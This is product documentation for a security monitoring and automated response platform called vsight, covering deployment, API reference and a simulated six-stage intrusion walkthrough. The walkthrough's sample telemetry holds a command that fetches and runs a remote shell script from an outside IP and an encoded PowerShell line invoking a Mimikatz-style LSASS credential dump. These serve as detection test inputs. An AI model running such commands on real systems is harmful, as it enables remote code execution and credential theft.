vsight — Administrator Guide

vsight — Platform Governance & Administration

This guide covers production deployment, cryptographic secret bootstrap, multi-tenant retention and raw-tee memory policies, SSRF-hardened SOAR webhook governance, storage durability, microbatch tuning, and Role-Based Access Control (RBAC) for vsight administrators.


1. Hardened Production Bootstrap & Secrets Governance

By default, running vsight serve without --dev-demo activates Hardened Production Mode:

  • Demo quick-fill buttons and sample credentials are completely omitted from /login.
  • Unsigned vwarden OIDC assertions are strictly rejected.
  • Loopback and private-network SOAR webhook URLs are blocked by the SSRF egress filter.

vsight Zero-Trust SOC Operator Authentication Gate

Configure secrets exclusively via environment variables (or systemd/Kubernetes secret mounts) prior to starting vsight:

BASH
# Primary SOC Lead Admin password (minimum 12 chars recommended)
export VSIGHT_ADMIN_PASSWORD="Strong_Unique_SOC_Admin_Password_2026!"

# Optional read-only SOC Viewer password
export VSIGHT_VIEWER_PASSWORD="Strong_Unique_SOC_Viewer_Password_2026!"

# 32-byte (64 hex chars) master key for AES-256-GCM incident dossier & evidence sealing
export VSIGHT_MASTER_KEY_HEX="4f8b2a91e7d0c35618a2f4b907e31c8d5a6b7c8d9e0f1a2b3c4d5e6f708192a3"

# 32-byte (64 hex chars) key for encrypting suspended durable SOAR workflow contexts
export VSIGHT_DURABLE_KEY_HEX="9a1b2c3d4e5f60718293a4b5c6d7e8f90112233445566778899aabbccddeeff0"

# Shared HMAC-SHA256 secret for verifying federated vwarden OIDC assertions
export VSIGHT_OIDC_HMAC_SECRET="vwarden-vsight-federation-signing-secret-prod"

# Shared HMAC-SHA256 secrets for signing outbound SOAR webhooks and STIX 2.1 bundles
export VSIGHT_SOAR_HMAC_SECRET="vsight-outbound-soar-webhook-signing-secret"
export VSIGHT_STIX_HMAC_SECRET="vsight-stix21-bundle-provenance-secret"

2. Multi-Tenant Retention & Raw-Tee Digest Policies

High-volume SIEM deployments frequently suffer out-of-memory failures when raw log strings accumulate in RAM. vsight decouples structured correlation state from raw wire payloads using three configurable Raw-Tee Modes:

Raw-Tee Mode RAM / MVCC Behavior Forensic Auditability Recommended Environment
digest_only (Default) Computes a deterministic SHA-256 digest of every raw wire frame and discards the raw string from RAM (0 bytes raw payload bloat). Proves chain-of-custody integrity alongside RFC 5424 hash-chained vgate logs. High-throughput production edge & multi-tenant fleets (20,000+ EPS).
alerts_only Retains raw wire payloads in bounded ring storage only when an event triggers a CEP, Hot IOC, Deception, or Online ML alert. Preserves exact offending payloads for incident dossiers while keeping baseline noise zero-bloat. Regulated enterprise SOCs (PCI-DSS, SOC 2, HIPAA).
full Retains bounded raw events (ns_sec_raw_events) up to configured TTL and ring capacity for retrospective full-text WAL hunts. Enables arbitrary substring threat hunting across recent raw command lines and headers. Dedicated forensic sandboxes, purple-team ranges, and low-volume enclaves.

Automated TTL Reaping & Lagged WAL Compaction

Run online maintenance via the Admin API (POST /api/v1/admin/maintenance) or CLI (vsight compact <data_dir> [keep_tail_frames]):

BASH
# Reap expired sliding windows, checkpoint an LZ4/binary .snap file, and compact WAL while keeping 1,024 tail frames for O(1) time-travel
./vsight compact ./data 1024

Or schedule/trigger online compaction via REST without interrupting ingestion:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/admin/maintenance \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "compact_wal": true,
    "keep_tail_frames": 2048
  }'

3. SSRF-Safe SOAR Webhook Allowlists & Outbound Signing

When incident responders or automated playbooks invoke external SOAR webhooks, vsight protects internal infrastructure against Server-Side Request Forgery (SSRF):

vsight SOAR Connectors, Case SLAs & Sealed Evidence Dossiers

  1. Protocol & Address Enforcement: Only https:// (and explicitly configured http:// public endpoints) are permitted. file://, gopher://, ftp://, and non-HTTP schemes are unconditionally rejected.
  2. Blocked CIDR & Metadata Ranges:
    • IPv4 Loopback (127.0.0.0/8), IPv6 Loopback (::1), and IPv4-mapped IPv6 (::ffff:127.0.0.0/104).
    • RFC 1918 Private Networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
    • Cloud Instance Metadata Services (169.254.0.0/16, 169.254.169.254, metadata.google.internal, fd00:ec2::254).
  3. Cryptographic Webhook Authenticity: Every outbound SOAR POST includes X-VSight-Signature-256: sha256=<hex> computed with VSIGHT_SOAR_HMAC_SECRET over the canonical payload so downstream vwarden, vgate, firewall, and EDR receivers can reject forged containment commands.
  4. AES-256-GCM Evidence Sealing: Exported incident case dossiers and forensic attachments written into the confined exports/ directory are encrypted at rest with NIST SP 800-38D AES-256-GCM using VSIGHT_MASTER_KEY_HEX.

4. Storage Durability & High-Availability Replica Sync

vsight embeds the vprevail 16-shard Copy-on-Write MVCC engine:

  • Co-Located Multi-Tenant Sharding: Every tenant-scoped key uses hash-tag co-location ({tenant_id|entity_id}), ensuring all sliding windows, online ML baselines, kill-chain states, and graph edges for an entity reside on a single deterministic shard for lock-free reads (~80 ns) and single-shard atomic commits.
  • CRC32-Verified Binary WAL: Every microbatch commit is framed with a 32-byte header and IEEE CRC32 checksum before acknowledgement.
  • Active-Passive / Read-Replica WAL Synchronization: Secondary vsight nodes can operate in read_replica mode (GET /api/v1/admin/ha/status) and pull incremental WAL frames from a primary node via /api/v1/admin/ha/export-wal and /api/v1/admin/ha/apply-wal:
BASH
# Export WAL delta frames starting from offset 100 on the primary node
curl -s -b cookies.txt "http://127.0.0.1:8090/api/v1/admin/ha/export-wal?from_offset=100&max_frames=500" > wal_delta.json

# Apply exported WAL delta frames onto a standby read-replica
curl -s -b replica_cookies.txt -X POST http://127.0.0.1:8091/api/v1/admin/ha/apply-wal \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d @wal_delta.json

5. High-Throughput Microbatch Tuning

To maximize sustained events-per-second (EPS) while keeping P99 detection latency under 5 ms:

  • Batch Size (32..128 events, max 512): Grouping 64 events into a single POST /api/v1/telemetry/batch amortizes WAL frame serialization and MVCC shard snapshot publication by 15x-25x compared to single-event HTTP commits.
  • Flush Interval (5..15 ms): Configure edge forwarders (vgate and Syslog collectors) to flush whichever comes first: 64 queued events or 10 ms elapsed wall time.
  • Hot vs. Cold IOC Partitioning: Keep the inline hot_active IOC table focused on active, high-confidence (confidence >= 80) campaign indicators, and load bulk historical feeds (100k+ indicators) into cold_hunt with auto_promote_ioc_on_hit: true.

6. Multi-Tenant RBAC & Scoped API Key Lifecycle

vsight enforces a strict four-tier privilege hierarchy across both browser sessions and Bearer vsk_... API keys:

Role Constant Rank Permitted Operations Tenant Boundary
COLLECTOR_INGEST 1 POST /api/v1/telemetry/{event,batch,ingest-raw} only; zero read access to alerts, graphs, or dossiers. Pinned strictly to the API key's assigned tenant_id.
SOC_READ_VIEWER 2 Read-only access to /api/v1/overview, alerts, OCSF export, 3-hop graph, MITRE matrix, CMDB risk, ML baselines, and dry-run simulations. Restricted to assigned tenant_id (cross-tenant queries return 403).
TIER2_RESPONDER 3 All viewer permissions plus SOAR containment/triage, playbook execution, CMDB discovery, STIX/IOC upsert, WAL threat hunts, and honeytokens. Restricted to assigned tenant_id (peer tenants redacted in collective sightings).
SOC_LEAD_ADMIN 4 Full platform governance including custom bytecode rule promotion, per-tenant threshold configs, API key mint/revoke, listeners, WAL compaction, and global collective sightings. Global (*) or per-tenant filterable visibility.

Auditing & Revoking Scoped API Keys

Every administrative mutation, login attempt, RBAC denial, and SOAR action is recorded in the append-only operator audit ledger (GET /api/v1/admin/audit). Revoke compromised or retired collector keys immediately via POST /api/v1/admin/api-keys/revoke:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/admin/api-keys/revoke \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{"key_id": "key_prod_edge_01"}'

vsight — Operations, Use Cases & Deterministic SOC Walkthrough

vsight — End-to-End SOC & SOAR Operations

This guide walks through a complete, deterministic 6-stage enterprise intrusion detection and closed-loop response lifecycle—progressing from initial credential stuffing and MFA fatigue through webshell execution, LSASS credential dumping, SMB lateral movement, high-volume data exfiltration, human-in-the-loop SOAR containment, and false-positive LIFO Saga rollback.

You can execute this entire 6-stage scenario deterministically from the CLI (./vsight walkthrough) or step-by-step over the OpenAPI 3.1 REST interface as shown below.


Stage 1: Establish Normal Workload Baselines (Zero False Alerts)

Before attack traffic arrives, vsight learns normal operational patterns per (tenant_id, entity_id) and host_role across its three streaming unsupervised ML models:

  • Welford / EWMA + Page's CUSUM tracks normal 2 KiB PostgreSQL query payloads from host:web-01 (user:svc-nginx) to host:db-01:5432.
  • First-Order Markov Process Lineage learns that on host_role = "web-server", nginx -> nginx-worker is expected (P > 0.95).
  • 4D Streaming Half-Space Trees populate normal mass profiles for low-entropy daemon command lines during business hours.
BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "stage1_baseline_nginx",
    "events": [
      {
        "event_id": "base_web_01",
        "tenant_id": "corp-prod",
        "source_system": "endpoint",
        "event_kind": "process_exec",
        "host_id": "host:web-01",
        "host_role": "web-server",
        "user_id": "user:svc-nginx",
        "src_ip": "10.0.1.10",
        "dst_host": "host:db-01",
        "dst_port": 5432,
        "protocol": "postgres",
        "parent_proc": "nginx",
        "process_name": "nginx-worker",
        "command_line": "nginx: worker process",
        "bytes_out": 2048
      }
    ]
  }'

Verification: GET /api/v1/alerts?tenant_id=corp-prod returns total_alerts: 0, and vsight records the clean wal_offset checkpoint for subsequent forensic time-travel comparisons.


Stage 2: Credential Stuffing & MFA Fatigue Compromise (TA0006 -> TA0001)

An external adversary (203.0.113.88) sprays invalid TOTP codes against user:bob on vwarden (5 consecutive OIDC PKCE failures within 60s), followed by a successful MFA fatigue acceptance:

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "stage2_cred_stuffing_mfa_fatigue",
    "events": [
      {"event_id":"atk_auth_0","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_1","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_2","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_3","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_4","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_ok","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login success","outcome":"success"}
    ]
  }'

CEP Correlation Outcome:

  • The per-entity sliding auth-failure ring window crosses auth_fail_threshold = 5, emitting TA0006 (Credential Access — T1110 Brute Force).
  • When outcome = "success" immediately follows from 203.0.113.88 inside the active brute-force window, vsight correlates Brute-Force Compromise / MFA Fatigue (TA0001 Initial Access — T1078 Valid Accounts) and advances the KillChainState stage counter.

Stage 3: Webshell Spawn & LSASS Credential Harvesting (TA0002 -> TA0006)

Using the compromised session on host:web-01, the attacker spawns an interactive reverse shell under nginx (nginx -> sh) and executes Base64-encoded PowerShell targeting lsass.exe:

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "stage3_webshell_and_lsass",
    "events": [
      {
        "event_id": "atk_webshell",
        "tenant_id": "corp-prod",
        "source_system": "endpoint",
        "event_kind": "process_exec",
        "host_id": "host:web-01",
        "host_role": "web-server",
        "user_id": "user:bob",
        "src_ip": "203.0.113.88",
        "parent_proc": "nginx",
        "process_name": "sh",
        "command_line": "sh -c \"curl http://198.51.100.99/stage2.sh | bash -i\""
      },
      {
        "event_id": "atk_lsass",
        "tenant_id": "corp-prod",
        "source_system": "endpoint",
        "event_kind": "process_exec",
        "host_id": "host:web-01",
        "host_role": "web-server",
        "user_id": "user:bob",
        "src_ip": "203.0.113.88",
        "parent_proc": "sh",
        "process_name": "powershell.exe",
        "command_line": "powershell.exe -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAsekurlsa::logonpasswords",
        "target_path": "./system32/lsass.exe"
      }
    ]
  }'

CEP + Online ML Outcome:

  • Markov Lineage Anomaly: P(sh | web-server, nginx) < 0.01 flags an anomalous server-daemon shell spawn (TA0002 Execution / T1505.003 Server Software Component: Web Shell).
  • Shannon Entropy + Credential Dump: High command-line Shannon entropy (> 4.5 bits/char) combined with sekurlsa::logonpasswords / lsass.exe triggers TA0006 (T1003.001 OS Credential Dumping: LSASS Memory).

Stage 4: SMB Lateral Movement & 50 MB Vault Exfiltration (TA0008 -> TA0010)

The adversary probes SMB admin shares (dst_port: 445) across four internal infrastructure peers (host:db-01, host:db-02, host:vault-01, host:dc-01) and exfiltrates 50 MB (bytes_out: 50000000):

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "stage4_lateral_and_exfil",
    "events": [
      {"event_id":"atk_lat_0","tenant_id":"corp-prod","source_system":"vgate","event_kind":"vnet_l7","host_id":"host:web-01","host_role":"web-server","user_id":"user:bob","src_ip":"203.0.113.88","dst_host":"host:db-01","dst_port":445,"protocol":"smb","command_line":"VNet SMB admin share probe","bytes_out":4096},
      {"event_id":"atk_lat_1","tenant_id":"corp-prod","source_system":"vgate","event_kind":"vnet_l7","host_id":"host:web-01","host_role":"web-server","user_id":"user:bob","src_ip":"203.0.113.88","dst_host":"host:db-02","dst_port":445,"protocol":"smb","command_line":"VNet SMB admin share probe","bytes_out":4096},
      {"event_id":"atk_lat_2","tenant_id":"corp-prod","source_system":"vgate","event_kind":"vnet_l7","host_id":"host:web-01","host_role":"web-server","user_id":"user:bob","src_ip":"203.0.113.88","dst_host":"host:vault-01","dst_port":445,"protocol":"smb","command_line":"VNet SMB admin share probe","bytes_out":4096},
      {"event_id":"atk_lat_3","tenant_id":"corp-prod","source_system":"vgate","event_kind":"vnet_l7","host_id":"host:web-01","host_role":"web-server","user_id":"user:bob","src_ip":"203.0.113.88","dst_host":"host:dc-01","dst_port":445,"protocol":"smb","command_line":"VNet SMB admin share probe","bytes_out":50000000}
    ]
  }'

CEP + Graph + Online ML Outcome:

  • HyperLogLog Lateral Fan-Out: Unique destination count reaches 4 (>= lateral_fanout_threshold), triggering TA0008 (Lateral Movement — T1021.002) and stitching a multi-host PivotCampaignChain.
  • Welford Z-Score & Page's CUSUM: bytes_out = 50,000,000 exceeds 4.5 standard deviations above the 2 KiB baseline, emitting TA0010 (Exfiltration — T1041).
  • Exponential Multi-Stage Amplification: Because host:web-01 has traversed 5+ distinct MITRE tactics, its composite kill-chain risk score crosses containment_score_thresh (18.0), automatically qualifying for closed-loop SOAR containment.

Inspecting O(1) Forensic Time-Travel Blast Radius

BASH
curl -s -b cookies.txt "http://127.0.0.1:8090/api/v1/forensics/timetravel?tenant_id=corp-prod&entity_id=host:web-01&past_offset=1&hops=2"

Stage 5: Closed-Loop Durable SOAR Containment & Analyst Triage

Launch and approve permanent containment for inc-2026-web01:

BASH
# 1. Initiate durable SOAR soft containment (suspends awaiting analyst awakeable decision)
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/contain \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-web01",
    "tenant_id": "corp-prod",
    "entity_id": "host:web-01",
    "user_id": "user:bob",
    "src_ip": "203.0.113.88",
    "mitre_technique_id": "T1003.001"
  }'

# 2. Confirm malicious verdict to commit permanent vwarden PDP deny & vgate WAF SecRules
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/resolve \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-web01",
    "verdict": "confirmed_malicious",
    "notes": "Confirmed nginx webshell, LSASS memory dump, and 4-peer SMB lateral spray."
  }'

Stage 6: False-Positive Triage & Automatic LIFO Saga Rollback

When an authorized Red-Team exercise or staging script on host:app-staging-02 (user:alice, 10.0.5.44) triggers soft containment, resolving the awakeable as false_positive (or transitioning the case SLA to CLOSED_FALSE_POSITIVE) automatically runs LIFO Saga compensations—re-enabling the user in vwarden, unbanning 10.0.5.44 at vgate, and resetting active threat risk to 0.0:

BASH
# 1. Start soft containment on staging alert
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/contain \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-staging-fp",
    "tenant_id": "corp-prod",
    "entity_id": "host:app-staging-02",
    "user_id": "user:alice",
    "src_ip": "10.0.5.44",
    "mitre_technique_id": "T1059.001"
  }'

# 2. Mark false_positive -> automatic LIFO Saga rollback restores identity & network access
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/resolve \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-staging-fp",
    "verdict": "false_positive",
    "notes": "Authorized purple-team validation run on staging workload."
  }'

vsight — Configuration & CLI Reference

vsight — CLI, Configuration & OpenAPI 3.1 Reference

This reference documents all vsight command-line subcommands, startup flags, security bootstrap environment variables, default configuration JSON schema, wire ingestion formats, and OpenAPI 3.1 REST endpoints.


1. CLI Subcommands & Flags

Invoke vsight using vsight <subcommand> [options]. Running vsight with no arguments executes walkthrough.

Subcommand Aliases Arguments & Flags Description
serve start, web [port] [data_dir] [--dev-demo] [--host <ip>] [--syslog-tcp <addr>] [--syslog-udp <addr>] Starts the hardened SOC Studio Web UI and OpenAPI 3.1 HTTP server (defaults: port = 8090, host = 127.0.0.1).
bench benchmark (none) Runs the deterministic throughput and P99 latency benchmark gate across the wire normalizer, stateful CEP + online ML pipeline, and 3-hop graph BFS. Exits non-zero if any gate fails.
walkthrough run (none) Executes the 6-stage deterministic SOC intrusion detection, O(1) time-travel diff, durable SOAR containment, LIFO rollback, and WAL backtest demonstration in an isolated temp store.
compact maintenance [data_dir] [keep_tail_frames] Runs expired sliding-window TTL reaping, writes a point-in-time .snap checkpoint, and compacts lagged WAL segments while retaining keep_tail_frames (default 512).
openapi (none) [base_url] Prints the complete OpenAPI 3.1.0 JSON specification document to stdout (default base_url: http://127.0.0.1:8090).
docs (none) [out_dir] Compiles the separated End-User (dist/docs/user/) and Technical (dist/docs/technical/) HTML documentation suites with interactive vector SVG diagrams.
audit (none) (none) Executes static verification rules across the workspace and prints a pass/fail compliance report.
version -v, --version (none) Prints the semantic release version and active MVCC storage schema version (vsight v1.2.0 (Schema v12)).
help -h, --help (none) Displays the CLI command summary.

serve Flag Reference

  • --host <ip> — IPv4 bind address (127.0.0.1 default; bind behind vgate TLS termination or explicit internal interface).
  • --dev-demo — Loopback-only evaluation mode (127.0.0.1 / localhost). Seeds sample baseline + multi-stage attack telemetry and enables quick-fill demo login profiles. Blocked if --host is non-loopback.
  • --syslog-tcp <port|ip:port> — Starts an asynchronous RFC 5424 / CEF / JSONL TCP stream listener (digest_only raw-tee mode).
  • --syslog-udp <port|ip:port> — Starts an asynchronous RFC 5424 / CEF / JSONL UDP datagram listener (digest_only raw-tee mode).

2. Environment Variables & Default Configuration Schema

2.1 Security Bootstrap Environment Variables

Variable Default (Prod) Purpose
VSIGHT_ADMIN_PASSWORD Ephemeral CSPRNG secret (logged warning if unset) Local password for the built-in admin (SOC_LEAD_ADMIN) operator account.
VSIGHT_VIEWER_PASSWORD Ephemeral CSPRNG secret Local password for the built-in viewer (SOC_READ_VIEWER) account.
VSIGHT_MASTER_KEY_HEX Ephemeral 32-byte CSPRNG key 64-character hex AES-256-GCM master key sealing incident dossiers and forensic evidence attachments.
VSIGHT_DURABLE_KEY_HEX Ephemeral 32-byte CSPRNG key 64-character hex encryption key protecting suspended durable SOAR workflow state.
VSIGHT_OIDC_HMAC_SECRET Ephemeral CSPRNG secret Shared HMAC-SHA256 secret verifying signed vwarden OIDC assertions (payload_b64url.hmac_hex).
VSIGHT_SOAR_HMAC_SECRET Ephemeral CSPRNG secret HMAC-SHA256 key signing outbound X-VSight-Signature-256 SOAR webhook payloads.
VSIGHT_STIX_HMAC_SECRET Ephemeral CSPRNG secret HMAC-SHA256 key signing exported OASIS STIX 2.1 intelligence bundles.
VSIGHT_ALLOW_LOOPBACK_WEBHOOKS false (true in --dev-demo) Permits loopback SOAR webhook targets strictly for local integration testing.

2.2 Packaged Default Configuration (config/vsight_default_config.json)

JSON
{
  "version": "1.2.0",
  "schema_version": 12,
  "http_host": "127.0.0.1",
  "http_port": 8090,
  "dev_demo_mode": false,
  "syslog_tcp_addr": "127.0.0.1:5514",
  "syslog_udp_addr": "127.0.0.1:5514",
  "raw_tee_mode": "digest_only",
  "default_tenant_id": "corp-prod",
  "microbatch_max_events": 64,
  "microbatch_flush_ms": 10,
  "allow_loopback_webhooks": false
}

2.3 Per-Tenant Detection Rule Threshold Schema (StoredDetectionRuleConfig)

JSON
{
  "scope_key": "corp-prod",
  "tenant_id": "corp-prod",
  "auth_fail_threshold": 5,
  "lateral_fanout_threshold": 4,
  "file_velocity_threshold": 10,
  "entropy_threshold": 4.5,
  "exfil_z_threshold": 4.5,
  "markov_prob_threshold": 0.01,
  "hst_isolation_threshold": 0.85,
  "containment_score_thresh": 18.0,
  "auto_promote_ioc_on_hit": true
}

3. Telemetry Ingestion Wire Formats

vsight auto-detects four wire formats on TCP/UDP Syslog listeners and POST /api/v1/telemetry/ingest-raw (format_hint: auto, syslog, cef, ocsf, sysmon), in addition to structured JSON on /api/v1/telemetry/event and /api/v1/telemetry/batch:

  1. RFC 5424 Syslog (with optional vgate SHA-256 chain="..." integrity tags):
TEXT
   <134>1 2026-11-14T03:00:01Z edge-01 vgate 2048 - - tenant=corp-prod host=host:web-01 user=user:bob src=203.0.113.88 dst=host:db-01 dpt=445 proto=smb outcome=success out=4096 msg="SMB share probe" chain="9f86d081884c7d65"
  1. ArcSight Common Event Format (CEF:0):
TEXT
   CEF:0|Prevail|VGate|1.2|WAF-942100|SQLi Blocked|9|src=203.0.113.88 dhost=host:web-01 suser=user:bob dst=host:db-01 dpt=5432 proto=postgres cs1=SELECT * FROM cards out=8192
  1. OCSF v1.1.0 JSONL & Windows Sysmon Event JSONL:
JSON
   {"class_uid":4001,"time":1700000025000,"metadata":{"tenant_uid":"corp-prod"},"device":{"hostname":"host:web-01"},"actor":{"user":{"name":"user:bob"},"process":{"name":"powershell.exe","cmd_line":"powershell.exe -enc SQBFAFgA"}},"src_endpoint":{"ip":"203.0.113.88"},"traffic":{"bytes_out":65536}}
  1. Canonical TelemetryEvent JSON (64 KiB single-event cap; 512 events/batch cap):

Fields: event_id, timestamp_ns, tenant_id, source_system (endpoint | vward | vgate | syslog), event_kind (process_exec | auth | vnet_l7 | waf_hit | file_mod), host_id, host_role, user_id, src_ip, dst_host, dst_port, protocol, parent_proc, process_name, command_line, target_path, outcome, bytes_out, sha256_hash.


4. OpenAPI 3.1 REST Endpoint Reference

All mutating (POST) endpoints require either Authorization: Bearer vsk_... or an authenticated HttpOnly session cookie accompanied by X-VSight-CSRF: 1.

4.1 Health, Authentication & Self-Service

Method Endpoint Min Role Description
GET /healthz Public Liveness, WAL offset, schema version, and HA operating mode.
GET /api/v1/openapi.json Public Live OpenAPI 3.1.0 specification JSON.
POST /api/v1/auth/login Public Authenticate via local password or signed vward_oidc assertion.
POST /api/v1/auth/logout Viewer Revoke active session digest from MVCC session store.
GET /api/v1/self/session Viewer Current principal profile, tenant scope, and offline ISO 18004 pairing QR SVG.
POST /api/v1/delegated/onboarding Viewer Submit staged collector or tenant onboarding approval request.

4.2 Telemetry Ingestion, Alerts, Graph & Online ML

Method Endpoint Min Role Description
POST /api/v1/telemetry/event Collector Ingest and correlate a single canonical TelemetryEvent (<= 64 KiB).
POST /api/v1/telemetry/batch Collector Ingest and correlate a microbatch (1..512 events) in one WAL transaction.
POST /api/v1/telemetry/ingest-raw Collector Auto-normalize and ingest multi-line RFC 5424, CEF, OCSF, or Sysmon streams.
POST /api/v1/telemetry/verify-chain Viewer Verify cryptographic SHA-256 hash-chain continuity across vgate Syslog lines.
GET /api/v1/overview Viewer Unified tenant-scoped snapshot (KPIs, alerts, MITRE matrix, graph, SOAR, ML).
GET /api/v1/alerts Viewer List correlated security alerts filtered by tenant_id.
GET /api/v1/alerts/stream Viewer Poll O(1) ring-buffer alert stream from cursor since_seq.
GET /api/v1/alerts/ocsf Viewer Export correlated alerts in OCSF v1.1.0 Security Finding format.
GET /api/v1/killchains Viewer List active per-entity MITRE ATT&CK kill-chain state machines.
GET /api/v1/graph/blast-radius Viewer Bounded BFS blast-radius subgraph (entity_id, hops 1..4).
GET /api/v1/graph/pivot-chains Viewer List correlated multi-host lateral pivot campaign chains.
GET /api/v1/ml/baselines Viewer Inspect Welford/EWMA + CUSUM, Markov lineage, and 4D HST baselines.

4.3 MITRE ATT&CK, CEP Rules, CMDB Risk & Threat Intelligence

Method Endpoint Min Role Description
GET /api/v1/mitre/matrix Viewer 14-stage MITRE ATT&CK Enterprise progression summary.
GET /api/v1/mitre/coverage-gaps Viewer Cross-reference CMDB exposures against active detection rules.
GET /api/v1/mitre/navigator Viewer Export MITRE ATT&CK Navigator v4.5 JSON layer.
GET /api/v1/rules/custom Viewer List predicate_v1, expr_bytecode_v2, and batch_script_v2 rules.
POST /api/v1/rules/custom Admin Compile and upsert a custom detection rule.
POST /api/v1/rules/promote Admin Transition rule mode (canary_shadow, active_enforce, disabled).
POST /api/v1/rules/test-eval Viewer Disassemble RPN bytecode and dry-run against a sample event.
POST /api/v1/rules/import-sigma Admin Transpile Sigma YAML rule into vsight bytecode detection rule.
GET/POST /api/v1/rules/configs Viewer / Admin Read or hot-reload global/per-tenant DetectionRuleConfig thresholds.
GET/POST /api/v1/cmdb/assets Viewer / Responder List or enroll CMDB asset profiles (criticality_tier, known_cves).
POST /api/v1/cmdb/discover Responder Discover shadow assets and technology stack drift from live telemetry.
GET /api/v1/cmdb/risk-assessment Viewer Compute real-time 3-part risk score and predicted attack paths.
POST /api/v1/cmdb/what-if Responder Simulate risk reduction and ROI of candidate security controls.
GET/POST /api/v1/intel/stix-bundle Viewer / Responder Export HMAC-signed or import OASIS STIX 2.1 indicator bundles.
GET/POST /api/v1/intel/iocs Viewer / Responder List or upsert Two-Tier (hot_active / cold_hunt) indicators.
POST /api/v1/hunt/query Responder Execute asynchronous retrospective threat hunt across retained WAL history.
GET/POST /api/v1/deception/honeytokens Viewer / Responder Manage tenant-scoped decoy credentials, files, and canary endpoints.

4.4 Closed-Loop SOAR, Forensics & Platform Administration

Method Endpoint Min Role Description
POST /api/v1/soar/contain Responder Start durable IncidentContainmentWorkflow soft containment.
POST /api/v1/soar/resolve Responder Resolve analyst triage awakeable (confirmed_malicious or false_positive).
POST /api/v1/soar/dry-run Viewer Preview rendered connector commands and HMAC webhook signatures.
POST /api/v1/soar/execute-playbook Responder Execute multi-connector playbook and seal AES-256-GCM case dossier.
GET/POST /api/v1/soar/connectors Viewer / Admin List or upsert SSRF-validated SOAR connectors.
GET/POST /api/v1/soar/dossiers Viewer / Responder Inspect or attach encrypted forensic artifacts to incident dossiers.
GET/POST /api/v1/soar/slas Viewer / Responder Track MTTD/MTTA/MTTR SLAs and execute lifecycle transitions.
GET /api/v1/forensics/timetravel Viewer O(1) historical vs. live blast-radius subgraph diff by WAL offset.
POST /api/v1/forensics/backtest Responder Replay WAL history in an isolated sandbox under candidate thresholds.
GET/POST /api/v1/admin/listeners Admin Inspect, start, or stop TCP/UDP RFC 5424 Syslog listeners.
GET/POST /api/v1/admin/api-keys Admin List or mint SHA-256 hashed, tenant-scoped vsk_... API keys.
POST /api/v1/admin/maintenance Admin Run online TTL reaping, .snap checkpointing, and WAL compaction.
GET /api/v1/admin/audit Admin Query append-only operator and RBAC security audit trail.

vsight — Performance & Capacity Planning Guide

vsight — Empirical Throughput, Latency & Memory Sizing

This guide documents empirical throughput, P50/P95/P99 latency distributions, microbatch flush determinism, 3-hop telemetry graph traversal characteristics, and per-tenant memory sizing measured via ./vsight bench.


1. Release-Readiness Benchmark Gate (vsight bench)

Every vsight build includes an embedded deterministic self-benchmark gate (./vsight bench) that verifies wire normalization throughput, single-pass stateful CEP + 3-model Online ML + graph ingestion throughput, and lock-free 3-hop BFS blast-radius traversal latency on the local host:

BASH
./vsight bench

Empirical Single-Node Benchmark Results

Subsystem Stage Workload Profile Measured Throughput Latency (P50 / P95 / P99) Release Gate Threshold
1. Multi-Format Wire Normalizer Mixed RFC 5424 Syslog, ArcSight CEF, OCSF v1.1.0, and Sysmon JSONL stream parsing 69,730 - 72,690 lines/sec (16.54 - 17.24 MB/sec) avg ~13.8 us/line >= 20,000 lines/sec (PASS)
